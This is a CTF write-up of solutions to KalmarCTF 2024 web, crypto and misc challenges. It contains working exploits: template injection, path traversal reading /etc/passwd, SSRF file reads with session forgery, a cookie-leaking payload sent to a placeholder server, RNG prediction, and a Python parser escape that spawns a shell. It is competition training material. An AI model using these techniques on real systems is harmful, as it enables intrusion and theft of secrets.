KalmarCTF 2024 WriteUps
Participated in this competition with ${cystick}, mainly solved a few web/crypto/misc challenges.
Web
Ez ⛳ v2
This challenge involves a caddy server:
(sec_headers) {
root * /
header {
Content-Security-Policy "default-src 'none'; frame-ancestors 'none'; base-uri 'none';"
Strict-Transport-Security "max-age=31536000"
X-XSS-Protection 0
X-Content-Type-Options nosniff
X-Frame-Options DENY
Referrer-Policy "no-referrer"
}
}
(html_reply) {
import sec_headers
header Content-Type text/html
templates
respond "<!DOCTYPE html><meta charset=utf-8><title>{http.request.host}</title><body>{args[0]}</body>"
}
(json_reply) {
templates {
# By default placeholders are not replaced for json
mime application/json
}
header Content-Type application/json
respond "{args[0]}"
}
(http_reply) {
tls internal {
alpn "{args[0]}"
}
map {args[0]} {proto_name} {
http/1.1 HTTP/1.1
h2 HTTP/2.0
h3 HTTP/3.0
}
@correctALPN `{http.request.proto} == {proto_name}`
respond @correctALPN "You are connected with {http.request.proto} ({tls_version}, {tls_cipher})."
import html_reply "You are connected with {http.request.proto} instead of {proto_name} ({tls_version}, {tls_cipher}). <!-- Debug: {http.request.uuid}-->"
}
(tls_reply) {
tls internal {
protocols {args[0]} {args[1]}
}
header Access-Control-Allow-Origin "*"
import json_reply {"tls_version":"{tls_version}","alpn":"{http.request.tls.proto}","sni":"{http.request.tls.server_name}","cipher_suite":"{http.request.tls.cipher_suite}"}
}
mtls.caddy.chal-kalmarc.tf {
tls internal {
client_auth {
mode require
}
}
templates
import html_reply `You are connected with client-cert {http.request.tls.client.subject}`
}
tls.caddy.chal-kalmarc.tf {
import tls_reply tls1.2 tls1.3
}
tls12.caddy.chal-kalmarc.tf {
import tls_reply tls1.2 tls1.2
}
tls13.caddy.chal-kalmarc.tf {
import tls_reply tls1.3 tls1.3
}
ua.caddy.chal-kalmarc.tf {
tls internal
templates
import html_reply `User-Agent: {{.Req.Header.Get "User-Agent"}}`
}
http.caddy.chal-kalmarc.tf {
tls internal
templates
import html_reply "You are connected with {http.request.proto} ({tls_version}, {tls_cipher})."
}
http1.caddy.chal-kalmarc.tf {
import http_reply http/1.1
}
http2.caddy.chal-kalmarc.tf {
import http_reply h2
}
http3.caddy.chal-kalmarc.tf {
import http_reply h3
}
caddy.chal-kalmarc.tf {
tls internal
import html_reply `Hello! Wanna know you if your browser supports <a href="https://http1.caddy.chal-kalmarc.tf/">http/1.1</a>? <a href="https://http2.caddy.chal-kalmarc.tf/">http/2</a>? Or fancy for some <a href="https://http3.caddy.chal-kalmarc.tf/">http/3</a>?! Check your preference <a href="https://http.caddy.chal-kalmarc.tf/">here</a>.<br/>We also allow you to check <a href="https://tls12.caddy.chal-kalmarc.tf/">TLS/1.2</a>, <a href="https://tls13.caddy.chal-kalmarc.tf/">TLS/1.3</a>, <a href="https://tls.caddy.chal-kalmarc.tf/">TLS preference</a>, supports <a href="https://mtls.caddy.chal-kalmarc.tf/">mTLS</a>? Checkout your <a href="https://ua.caddy.chal-kalmarc.tf/">User-Agent</a>!<!-- At some point we might even implement a <a href="https://flag.caddy.chal-kalmarc.tf/">flag</a> endpoint! -->`
}
The user-agent can inject SSTI because it uses a templates feature. By reading the documentation, we can see it has the ability to read file lists and files, making it easy to get the flag:
curl https://ua.caddy.chal-kalmarc.tf/ --user-agent '{{ listFiles "/" }}'
curl https://ua.caddy.chal-kalmarc.tf/ --user-agent '{{ include "/CVGjuzCIVR99QNpJTLtBn9" }}'
# kalmar{Y0_d4wg_I_h3rd_y0u_l1k3_templates_s0_I_put_4n_template_1n_y0ur_template_s0_y0u_c4n_readFile_wh1le_y0u_executeTemplate}
BadAss Server for Hypertext
No code was provided, but from the challenge name and the returned header, it can be inferred that it is written in bash, so I guessed there is a path traversal:
> printf 'GET /assets/../../../../etc/passwd HTTP/1.0\r\n\r\n' | nc chal-kalmarc.tf 8080
HTTP/1.0 200 OK
Content-Type: text/plain
X-Powered-By: Bash
Content-Length: 839
Connection: close
root:x:0:0:root:/root:/bin/bash
...
Using /proc/1/cmdline
, I found the code at /app/badass_server.sh
:
#!/bin/bash
# I hope there are no bugs in this source code...
set -e
declare -A request_headers
declare -A response_headers
declare method
declare uri
declare protocol
declare request_body
declare status="200 OK"
abort() {
declare -gA response_headers
status="400 Bad Request"
write_headers
if [ ! -z ${1+x} ]; then
>&2 echo "Request aborted: $1"
echo -en $1
fi
exit 1
}
write_headers() {
response_headers['Connection']='close'
response_headers['X-Powered-By']='Bash'
echo -en "HTTP/1.0 $status\r\n"
for key in "${!response_headers[@]}"; do
echo -en "${key}: ${response_headers[$key]}\r\n"
done
echo -en '\r\n'
>&2 echo "$(date -u +'%Y-%m-%dT%H:%M:%SZ') $SOCAT_PEERADDR $method $uri $protocol -> $status"
}
receive_request() {
read -d $'\n' -a request_line
if [ ${#request_line[@]} != 3 ]; then
abort "Invalid request line"
fi
method=${request_line[0]}
uri=${request_line[1]}
protocol=$(echo -n "${request_line[2]}" | sed 's/^\s*//g' | sed 's/\s*$//g')
if [[ ! $method =~ ^(GET|HEAD)$ ]]; then
abort "Invalid request method"
fi
if [[ ! $uri =~ ^/ ]]; then
abort 'Invalid URI'
fi
if [ $protocol != 'HTTP/1.0' ] && [ $protocol != 'HTTP/1.1' ]; then
abort 'Invalid protocol'
fi
while read -d $'\n' header; do
stripped_header=$(echo -n "$header" | sed 's/^\s*//g' | sed 's/\s*$//g')
if [ -z "$stripped_header" ]; then
break;
fi
header_name=$(echo -n "$header" | cut -d ':' -f 1 | sed 's/^\s*//g' | sed 's/\s*$//g' | tr '[:upper:]' '[:lower:]');
header_value=$(echo -n "$header" | cut -d ':' -f 2- | sed 's/^\s*//g' | sed 's/\s*$//g');
if [ -z "$header_name" ] || [[ "$header_name" =~ [[:space:]] ]]; then
abort "Invalid header name";
fi
# If header already exists, add value to comma separated list
if [[ -v request_headers[$header_name] ]]; then
request_headers[$header_name]="${request_headers[$header_name]}, $header_value"
else
request_headers[$header_name]="$header_value"
fi
done
body_length=${request_headers["content-length"]:-0}
if [[ ! $body_length =~ ^[0-9]+$ ]]; then
abort "Invalid Content-Length"
fi
read -N $body_length request_body
}
handle_request() {
# Default: serve from static directory
path="/app/static$uri"
path_last_character=$(echo -n "$path" | tail -c 1)
if [ "$path_last_character" == '/' ]; then
path="${path}index.html"
fi
if ! cat "$path" > /dev/null; then
status="404 Not Found"
else
mime_type=$(file --mime-type -b "$path")
file_size=$(stat --printf="%s" "$path")
response_headers["Content-Type"]="$mime_type"
response_headers["Content-Length"]="$file_size"
fi
write_headers
cat "$path" 2>&1
}
receive_request
handle_request
Then I checked it with shellcheck
:
> shellcheck server.sh
In server.sh line 19:
if [ ! -z ${1+x} ]; then
^-- SC2236 (style): Use -n instead of ! -z.
In server.sh line 21:
echo -en $1
^-- SC2086 (info): Double quote to prevent globbing and word splitting.
Did you mean:
echo -en "$1"
In server.sh line 42:
read -d $'\n' -a request_line
^--^ SC2162 (info): read without -r will mangle backslashes.
In server.sh line 62:
if [ $protocol != 'HTTP/1.0' ] && [ $protocol != 'HTTP/1.1' ]; then
^-------^ SC2086 (info): Double quote to prevent globbing and word splitting.
^-------^ SC2086 (info): Double quote to prevent globbing and word splitting.
Did you mean:
if [ "$protocol" != 'HTTP/1.0' ] && [ "$protocol" != 'HTTP/1.1' ]; then
In server.sh line 66:
while read -d $'\n' header; do
^--^ SC2162 (info): read without -r will mangle backslashes.
In server.sh line 94:
read -N $body_length request_body
^--^ SC2162 (info): read without -r will mangle backslashes.
^----------^ SC2086 (info): Double quote to prevent globbing and word splitting.
^----------^ SC2034 (warning): request_body appears unused. Verify use (or export if used externally).
Did you mean:
read -N "$body_length" request_body
For more information:
https://www.shellcheck.net/wiki/SC2034 -- request_body appears unused. Veri...
https://www.shellcheck.net/wiki/SC2086 -- Double quote to prevent globbing ...
https://www.shellcheck.net/wiki/SC2162 -- read without -r will mangle backs...
The most suspicious part is [ $protocol != 'HTTP/1.0' ]
, because it is not quoted, so if the variable contains spaces ($IFS
), it will automatically do word splitting. Therefore, if there is protocol='-f /path/to/file -a x'
, it can determine whether a file exists, and the file path can be globbed.
However, there is a small problem: $protocol
comes from $request_line[2]
, and $request_line
comes from read -d $'\n' -a request_line
, which means it reads a string and splits it into an array by spaces, so $protocol
cannot contain spaces?! But this is actually easy to solve. According to shellcheck’s output, it does special handling for \
because it does not have -r
. After some testing, I found that adding \
before the space works, resulting in:
> printf 'GET / -f\ /etc/passw?\ -a\ x\ \r\n\r\n' | nc chal-kalmarc.tf 8080
HTTP/1.0 400 Bad Request
X-Powered-By: Bash
Connection: close
Invalid protocol
> printf 'GET / -f\ /etc/passx?\ -a\ x\ \r\n\r\n' | nc chal-kalmarc.tf 8080
HTTP/1.0 200 OK
Content-Type: text/html
X-Powered-By: Bash
Content-Length: 518
Connection: close
<!DOCTYPE html>
...
The homepage HTML contains paths like assets/f200d055a267ae56160198e0fcb47e5f/try_harder.txt
, so after some time, I guessed the flag
is in assets/unknown_hash/flag.txt
. Therefore, I used globbing to brute-force the hash character by character:
from pwn import remote, context
import string
from concurrent.futures import ThreadPoolExecutor
def guess(prefix):
context.log_level = "error"
io = remote("chal-kalmarc.tf", 8080)
io.send(
f"GET / -f\ /app/static/assets/{prefix}*/flag.txt\ -a\ x\r\n\r\n".encode()
)
return b"400 Bad Request" in io.recvall()
chrs = string.hexdigits
prefix = ""
while len(prefix) < 32:
with ThreadPoolExecutor() as executor:
futures = [executor.submit(guess, prefix + c) for c in chrs]
for fut, c in zip(futures, chrs):
if fut.result():
prefix += c
print(prefix)
break
# printf 'GET /assets/../../../../app/static/assets/9df5256fe48859c91122cb92964dbd66/flag.txt HTTP/1.0\r\n\r\n' | nc chal-kalmarc.tf 8080
# kalmar{17b29adf_bash_web_server_was_a_mistake_374add33}
Finally, I found that the hash is actually the file’s MD5:
> printf 'kalmar{17b29adf_bash_web_server_was_a_mistake_374add33}' | md5sum
9df5256fe48859c91122cb92964dbd66 -
Is It Down
An SSRF challenge without code. Random testing revealed that redirecting to file://
allows LFR, and using procfs, I found /etc/uwsgi/uwsgi-custom.ini
, which led to the source code.
curl -s 'http://is-it-down.chal-kalmarc.tf/check' --data-urlencode 'url=https://httpbin.org/redirect-to?url=file:///var/www/keep-dreaming-sonny-boy/app.py' | jq -r .content | sed 's/\\n/\n/g' | sed 's/\\t/\t/g' | sed "s/\\\\'/'/g"
app.py
:
from flask import Flask, request, send_from_directory, session, abort
from requestlib import fetch
from config import session_encryption_key
import subprocess, os
def protect_secrets():
os.unlink("config.py")
def check_url(url):
if not isinstance(url, str) or len(url) == 0:
return False, "Please provide a regular url!"
if not url.startswith("https://") or url.lstrip() != url:
return False, "Url must start with 'https://'. We do not want anything insecure here!"
return True, ""
app = Flask(__name__, static_folder='static', static_url_path='/assets/')
app.secret_key = session_encryption_key
print("Using key: ", app.secret_key)
protect_secrets()
@app.route('/', methods=['GET'])
def home():
return send_from_directory('pages','index.html')
@app.route('/flag', methods=['GET'])
def healthcheck():
if session.get("admin") == True:
return subprocess.check_output("/readflag")
else:
return abort(403)
@app.route('/check', methods=['POST'])
def check():
url = request.form.get("url")
valid, err = check_url(url)
if not valid:
return {
'success': False,
'error': err
}
if True:
content = fetch(url)
return {
'success': True,
'online': content != None,
'content': content
}
if __name__ == "__main__":
app.run(host='0.0.0.0', port=10600, debug=False)
requestlib.py
:
from urllib.request import urlopen, HTTPErrorProcessor, install_opener, build_opener, Request
import urllib
class NoRedirection(HTTPErrorProcessor):
def http_response(self, request, response):
return response
https_response = http_response
install_opener(build_opener(NoRedirection()))
def fetch(url, follow_redirects = True):
'''
Avoid endless redirect loops
'''
headers = {
"User-Agent": "requestlib 2.9-alpha"
}
req = Request(url, headers=headers)
print("Url: ", url, follow_redirects, flush=True)
with urlopen(req) as res:
redirect_url = res.headers["Location"]
if redirect_url and follow_redirects:
return fetch(redirect_url, follow_redirects=False)
return str(res.read())[2:-1]
Reading it, I found that the goal is to sign the session, so I need to know the secret key in config.py
, but that file has been deleted. The place where it prints is written to the output. However, the uwsgi config for this challenge does not log to a file:
[uwsgi]
uid = www-data
gid = www-data
master = true
processes = 20
http-socket = 0.0.0.0:5000
chmod-sock = 664
vacuum = true
die-on-term = true
wsgi-file = /var/www/keep-dreaming-sonny-boy/app.py
callable = app
pythonpath = /usr/local/lib/python3.11/site-packages
After being stuck for a while, I realized that imported files have pyc cache. According to Python 3.11, config.py
should be cached in __pycache__/config.cpython-311.pyc
:
> curl -s 'http://is-it-down.chal-kalmarc.tf/check' --data-urlencode 'url=https://httpbin.org/redirect-to?url=file:///var/www/keep-dreaming-sonny-boy/__pycache__/config.cpython-311.pyc' | jq -r .content
\xa7\r\r\n\x00\x00\x00\x00:\xbe\xf5e;\x00\x00\x00\xe3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\xf3\n\x00\x00\x00\x97\x00d\x00Z\x00d\x01S\x00)\x02\xda Rm7GbQJ4uDikyiis6miD7YwsN11rEjfLN)\x01\xda\x16session_encryption_key\xa9\x00\xf3\x00\x00\x00\x00\xfa*/var/www/keep-dreaming-sonny-boy/config.py\xfa\x08<module>r\x07\x00\x00\x00\x01\x00\x00\x00s\x11\x00\x00\x00\xf0\x03\x01\x01\x01\xd8\x19;\xd0\x00\x16\xd0\x00\x16\xd0\x00\x16r\x05\x00\x00\x00
I used pylingual.io to decode the pyc: results
The secret key is Rm7GbQJ4uDikyiis6miD7YwsN11rEjfL
, and then I could sign the session to get the flag:
> flask-unsign --secret 'Rm7GbQJ4uDikyiis6miD7YwsN11rEjfL' --cookie "{'admin': True}" --sign
eyJhZG1pbiI6dHJ1ZX0.ZfcwFw.pkOhk2XDZZ6IBYHmrRCsmtOir_Y
> curl -s 'http://is-it-down.chal-kalmarc.tf/flag' --cookie 'session=eyJhZG1pbiI6dHJ1ZX0.ZfcwFw.pkOhk2XDZZ6IBYHmrRCsmtOir_Y'
kalmar{Rem3Mbr_T0_fl0sh!}
No eXcuSeS
This website clearly does not allow XSS, and bot.js
looks like this:
const puppeteer = require('puppeteer');
const FLAG = 'kalmar{this_is_a_test_flag!!}';
const HOST = "http://localhost:7357";
const sleep = ms => new Promise(r => setTimeout(r, ms));
async function visit(url) {
let browser;
try {
browser = await puppeteer.launch({
headless: "new",
args: [
"--no-sandbox",
"--disable-dev-shm-usage",
"--disable-setuid-sandbox",
"--js-flags=--noexpose_wasm,--jitless",
],
});
let page = await browser.newPage();
await page.goto(HOST, { timeout: 1000, waitUntil: 'domcontentloaded' });
await page.evaluate((flag) => {
document.cookie = "flag=" + flag + "; path=/";
}, FLAG);
await page.close();
page = await browser.newPage();
await page.goto(url, { timeout: 3000, waitUntil: 'domcontentloaded' })
await sleep(2000);
await browser.close();
browser = null;
} catch (err) {
console.log(err);
} finally {
if (browser) await browser.close();
}
}
module.exports = { visit };
The place where app.js
calls it is done like this:
app.post('/report', (req, res) => {
const url = req.body.url;
visit(url);
res.send('Bot is visiting your url');
});
It is clear that it does not check the url
, so not only http:
, https:
URLs can be used.
Trying to use javascript:
URLs, it attempts to execute but triggers net::ERR_ABORTED, causing it to enter catch and then finally, so the browser closes.
Thinking about it, file:
URLs can be used, such as file:///app/bot.js
, which displays the above bot.js
in the browser. If there is a way to include it through <script>
, it could leak the flag.
Although embedding file:
resources from http:
or https:
pages is not allowed, it is possible if the page itself is file:
. Therefore, finding a way to leave a controllable HTML file on the filesystem is the solution.
Using Content-Disposition
has the same net::ERR_ABORTED issue, so I used JavaScript with <a href="..." download="...">
to succeed:
<script type="module">
const blob = new Blob([`
<script>
require = () => {}
module = {}
<\/script>
<script src="file:///app/bot.js"><\/script>
<script>
location = 'https://YOUR_SERVER/flag?flag=' + encodeURIComponent(FLAG)
<\/script>
`])
const a = document.createElement('a')
a.href = URL.createObjectURL(blob)
a.download = 'peko.html'
document.body.appendChild(a)
a.click()
</script>
Forcing it to download the file, then browsing file:///root/Downloads/peko.html
to get the flag: kalmar{wow_you_dont_need_excuses!-please_send_us_a_dm_with_your_solution!}
Crypto
Cracking The Casino
#!/usr/bin/python3
from Pedersen_commitments import gen, commit, verify
# I want to host a trustworthy online casino!
# To implement blackjack and craps in a trustworthy way i need verifiable dice and cards!
# I've used information theoretic commitments to prevent players from cheating.
# Can you audit these functionalities for me ?
from random import randint
# Verifiable Dice roll
def roll_dice(pk):
roll = randint(1,6)
comm, r = commit(pk,roll)
return comm, roll, r
# verifies a dice roll
def check_dice(pk,comm,guess,r):
res = verify(pk,comm, r, int(guess))
return res
# verifiable random card:
def draw_card(pk):
idx = randint(0,51)
# clubs spades diamonds hearts
suits = "CSDH"
values = "234567890JQKA"
value = values[idx%13]
suit = suits[idx//13]
card = value + suit
comm, r = commit(pk, int(card.encode().hex(),16))
return comm, card, r
# take a card (as two chars, fx 4S = 4 of spades) and verifies it was the committed card
def check_card(pk, comm, guess, r):
res = verify(pk, comm, r, int(guess.encode().hex(),16))
return res
# Debug testing values for larger values
def debug_test(pk):
dbg = randint(0,2**32-2)
comm, r = commit(pk,dbg)
return comm, dbg, r
# verify debug values
def check_dbg(pk,comm,guess,r):
res = verify(pk,comm, r, int(guess))
return res
def audit():
print("Welcome to my (beta test) Casino!")
q,g,h = gen()
pk = q,g,h
print(f'public key for Pedersen Commitment Scheme is:\nq = {q}\ng = {g}\nh = {h}')
chosen = input("what would you like to play?\n[D]ice\n[C]ards")
if chosen.lower() == "d":
game = roll_dice
verif = check_dice
elif chosen.lower() == "c":
game = draw_card
verif = check_card
else:
game = debug_test
verif = check_dbg
correct = 0
# If you can guess the committed values more than i'd expect, then
for _ in range(1337):
if correct == 100:
print("Oh wow, you broke my casino??!? Thanks so much for finding this before launch so i don't lose all my money to cheaters!")
with open("flag.txt","r") as f:
flag = f.read()
print(f"here's that flag you wanted, you earned it! {flag}")
exit()
comm, v, r = game(pk)
print(f'Commitment: {comm}')
g = input(f'Are you able to guess the value? [Y]es/[N]o')
if g.lower() == "n":
print(f'commited value was {v}')
print(f'randomness used was {r}')
print(f'verifies = {verif(pk,comm,v,r)}')
elif g.lower() == "y":
guess = input(f'whats your guess?')
if verif(pk, comm, guess, r):
correct += 1
print("Oh wow! well done!")
else:
print("That's not right... Why are you wasting my time if you haven't broken anything?")
exit()
print(f'Guess my system is secure then! Lets go ahead with the launch!')
exit()
if __name__ == "__main__":
audit()
Very simple, randint
comes from random
. Using debug_test
to leak values and solve MT19937:
from z3 import *
from z3mt import *
from random import randint, Random
from pwn import process, remote
def gen():
return randint(0, 2**32 - 2)
def predict(outputs):
state = [BitVec(f"state_{i}", 32) for i in range(N)]
sol = Solver()
for s, o in zip(mt_gen_sol(sol, state), outputs):
sol.add(s == o)
with timeit("z3 solving"):
assert sol.check() == sat
m = sol.model()
state = [m.evaluate(s).as_long() for s in state]
r = Random()
r.setstate((3, tuple(state + [624]), None))
for v in outputs:
assert r.getrandbits(32) == v
return r
# io = process(["python", "casino.py"])
io = remote("chal-kalmarc.tf", 9)
io.recvuntil(b"q = ")
q = int(io.recvline().strip())
io.recvuntil(b"g = ")
g = int(io.recvline().strip())
io.recvuntil(b"h = ")
h = int(io.recvline().strip())
io.sendline(b"x")
io.sendline(b"n\n" * (N + 5))
outputs = []
for _ in range(N + 5):
io.recvuntil(b"commited value was ")
outputs.append(int(io.recvline().strip()))
print("received")
rand = predict(outputs)
rand.randint(0, 2**32 - 2)
for _ in range(100):
io.sendline(b"y")
io.sendline(str(rand.randint(0, 2**32 - 2)).encode())
io.interactive()
# Kalmar{First_Crypto_Down!}
Re-Cracking The Casino
The server program is similar to the previous one, with differences:
10c10,11
< from random import randint
---
> # Thanks for the feedback, I'll use secure randomness then!
> from Crypto.Random.random import randint
53c54
< print("Welcome to my (beta test) Casino!")
---
> print("Welcome to my (Launch day!) Casino!")
70,73c71,75
< # If you can guess the committed values more than i'd expect, then
< for _ in range(1337):
< if correct == 100:
< print("Oh wow, you broke my casino??!? Thanks so much for finding this before launch so i don't lose all my money to cheaters!")
---
>
> # Should be secure now :)
> for _ in range(256):
> if correct == 250:
> print("Oh wow, you broke my casino again??!? That's impossible!")
It just fixes randint
and raises the required guess ratio. The Perderson_commitments.py
is the same as before:
from Crypto.Util.number import getStrongPrime
from Crypto.Random.random import randint
## Implementation of Pedersen Commitment Scheme
## Computationally binding, information theoreticly hiding
# Generate public key for Pedersen Commitments
def gen():
q = getStrongPrime(1024)
g = randint(1,q-1)
s = randint(1,q-1)
h = pow(g,s,q)
return q,g,h
# Create Pedersen Commitment to message x
def commit(pk, m):
q, g, h = pk
r = randint(1,q-1)
comm = pow(g,m,q) * pow(h,r,q)
comm %= q
return comm,r
# Verify Pedersen Commitment to message x, with randomness r
def verify(param, c, r, x):
q, g, h = param
if not (x > 1 and x < q):
return False
return c == (pow(g,x,q) * pow(h,r,q)) % q
It can be seen that when choosing g
, there is no restriction that g
must be a generator of a prime order subgroup, so there is a chance to leak information.
My method is to choose such that:
When receiving , just take the root to get:
Since there are only six possible values for in the dice options, these two are enough to determine . However, there is a small problem: verify
does not accept (the author says it’s a bug), so another method is needed.
My method is to add another condition to requiring .
from pwn import process, remote, context
from Pedersen_commitments import commit
from Crypto.Util.number import sieve_base
def connect():
# io = process(["python", "casino.py"])
io = remote("casino-2.chal-kalmarc.tf", 13337)
io.recvuntil(b"q = ")
q = int(io.recvline().strip())
io.recvuntil(b"g = ")
g = int(io.recvline().strip())
io.recvuntil(b"h = ")
h = int(io.recvline().strip())
return io, q, g, h
def find_one(q, g, h):
# idk why but the remote refused to accept x = 1 at all
# so we want to ensure g^((q-1) / x) = g for some x that is not 2 or 3
for p in sieve_base:
if p in (2, 3):
continue
if (q - 1) % p == 0 and pow(g, (q - 1) // p, q) == 1:
return (q - 1) // p + 1
while True:
io, q, g, h = connect()
checks = [
(q - 1) % 6 == 0,
pow(g, (q - 1) // 2, q) != 1,
pow(g, (q - 1) // 3, q) != 1,
pow(h, (q - 1) // 2, q) == 1,
pow(h, (q - 1) // 3, q) == 1,
]
if all(checks):
one = find_one(q, g, h)
if one is not None:
break
print("checks passed but no one found")
io.close()
pk = q, g, h
with open("pk", "w") as f:
f.write(repr(pk))
def hc(c):
return pow(c, (q - 1) // 2, q), pow(c, (q - 1) // 3, q)
tbl = {}
for m in range(1, 7):
c, _ = commit(pk, m)
tbl[hc(c)] = m
print(tbl)
for _ in range(10):
for m in range(1, 7):
c, _ = commit(pk, m)
assert tbl[hc(c)] == m
context.log_level = "debug"
io.sendline(b"d")
for _ in range(250):
io.recvuntil(b"Commitment: ")
c = int(io.recvline().strip())
m = tbl[hc(c)]
if m == 1: # qq
m = one
io.sendline(b"y")
io.sendline(str(m).encode())
io.interactive()
# Kalmar{Why_call_it_strong_if_its_so_weak...}
Misc
Docstring Prison
server.py
:
print('Can you help us write a docstring for our python code?\nPlease give us the docstring that you want, end with "END"')
docstring = ''
user_input = input('> ')
while user_input != "END":
docstring += user_input + '\n'
user_input = input('> ')
# Let's make sure the docstring is not terminated:
while '"""' in docstring:
print('replace')
docstring = docstring.replace('"""', '')
if len(docstring) > 100:
print('Docstring too long')
quit()
docstring = '"""\n' + docstring + '\n"""\n'
with open('code_to_comment.py', 'r') as rf:
source = rf.read()
# Write new file
new_python_file = docstring + source
package_name = 'commented_code'
new_filename = package_name + '.py'
with open(new_filename, 'w') as wf:
wf.write(new_python_file)
import os
os.system('python commented_code.py')
code_to_comment.py
:
# Let's just make sure we don't run anything:
quit()
from flag import flag
print(flag)
This challenge uses the python:3.11.3@sha256:3a619e3c96fd4c5fc5e1998fd4dcb1f1403eb90c4c6409c70d7e80b9468df7df
docker image.
The difficulty lies in escaping from Python’s multi-line string without using """
. After some random testing, I found that a null byte \x00
causes a strange syntax error, revealing this issue: mishandling of c-strings in parser.
In short, Python code is roughly split by line-delimiters, and each line is treated as a C null-terminated string. Therefore, the following code outputs 123
:
x = 'asd\0'
';print(123)#'
Here,
\x00
should be a real null byte, not an escape in a string.So it is equivalent to
x = 'asd';print(123)#'
Therefore, replacing "
with "\x00\n
can bypass it:
import tokenize, io
# docstring = '\n"\x00\n"\x00\n"\nimport os;os.system(\'sh\')\n"\x00\n"\x00\n"'
docstring = '""";import os;os.system(\'sh\');"""'.replace('"', '"\x00\n')
assert '"""' not in docstring
with open("payload", "w") as f:
f.write(docstring)
# (cat payload; printf '\nEND\n'; cat) | nc chal-kalmarc.tf 8532
docstring = '"""\n' + docstring + '\n"""\n'
with open("code_to_comment.py", "r") as rf:
source = rf.read()
new_python_file = docstring + source
with open("x.py", "w") as wf:
wf.write(new_python_file)
Futuristic Secret Storage
Dockerfile
:
FROM python:latest
RUN apt update && apt install -y socat
COPY flagwriter /flagwriter
EXPOSE 7223
CMD socat tcp-l:7223,reuseaddr,fork exec:"script -qc /flagwriter /dev/null"
/flagwriter
:
#!/usr/bin/env python3
print("kalmar{this_is_a_test_flag}", file=open("/dev/null", 'w'))
This challenge seems impossible to solve normally. However, checking the script
man page reveals that it simulates terminal behavior, so special control sequences are interpreted.
Among them, \x03
corresponds to Ctrl-C
, which sends SIGINT. By combining this with a race condition, it is possible to interrupt at the print
line (KeyboardInterrupt
), causing the error to display the flag:
while true; do (sleep 0.0001; printf '\x03\n') | nc futuristic_secret_storage.chal-kalmarc.tf 7223 & ; done
This results in an error like:
print("kalmar{who_knew_you_could_just_COPY_our_secrets...}", file=open("/dev/null", 'w'))
^^^^^^^^^^^^^^^^^^^^^^
File "<frozen codecs>", line 186, in __init__
KeyboardInterrupt